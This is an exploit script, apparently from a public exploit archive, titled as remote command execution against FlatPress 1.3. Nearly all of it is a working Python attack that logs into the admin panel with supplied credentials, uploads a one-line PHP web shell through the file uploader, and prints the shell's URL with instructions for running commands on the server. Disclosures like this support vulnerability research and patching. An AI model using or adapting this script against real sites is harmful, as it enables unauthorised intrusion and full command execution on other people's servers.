FlatPress 1.3 Shell Upload

`# Exploit Title: FlatPress v1.3 - Remote Command Execution  
# Discovered by: Ahmet Ümit BAYRAM  
# Discovered Date: 19.04.2024  
# Vendor Homepage: https://www.flatpress.org  
# Software Link: https://github.com/flatpressblog/flatpress/archive/1.3.zip  
# Tested Version: 1.3 (latest)  
# Tested on: MacOS  
  
import requests  
import time  
import random  
import string  
  
def random_string(length=5):  
"""Rastgele bir string oluşturur."""  
letters = string.ascii_lowercase  
return ''.join(random.choice(letters) for i in range(length))  
  
def login_and_upload(base_url, username, password):  
filename = random_string() + ".php"  
login_url = f"http://{base_url}/login.php"  
upload_url = f"http://{base_url}/admin.php?p=uploader&action=default"  
  
with requests.Session() as session:  
# Exploiting  
print("Exploiting...")  
time.sleep(1)  
  
# Giriş yapma denemesi  
login_data = {  
'user': username,  
'pass': password,  
'submit': 'Login'  
}  
print("Logging in...")  
response = session.post(login_url, data=login_data)  
time.sleep(1)  
  
if "Logout" in response.text:  
print("Login Successful!")  
else:  
print("Login Failed!")  
print(response.text)  
return  
  
# Dosya yükleme denemesi  
print("Shell uploading...")  
time.sleep(1)  
  
# Form verileri ve dosyalar  
files = {  
'upload[]': (filename, '<?=`$_GET[0]`?>', 'text/php'),  
}  
form_data = {  
'_wpnonce': '9e0ed04260',  
'_wp_http_referer': '/admin.php?p=uploader',  
'upload': 'Upload'  
}  
  
response = session.post(upload_url, files=files, data=form_data)  
  
if "File(s) uploaded" in response.text or "Upload" in response.text:  
shell_url = f"http://{base_url}/fp-content/attachs/{filename}"  
print(f"Your Shell is Ready: {shell_url}")  
time.sleep(1)  
print(f"Shell Usage: {shell_url}?0=command")  
else:  
print("Exploit Failed!")  
print(response.status_code, response.text)  
  
# Örnek kullanım: python script.py siteadi.com username password  
if __name__ == "__main__":  
import sys  
if len(sys.argv) != 4:  
print("Usage: script.py <base_url> <username> <password>")  
else:  
base_url, username, password = sys.argv[1:]  
login_and_upload(base_url, username, password)  
  
`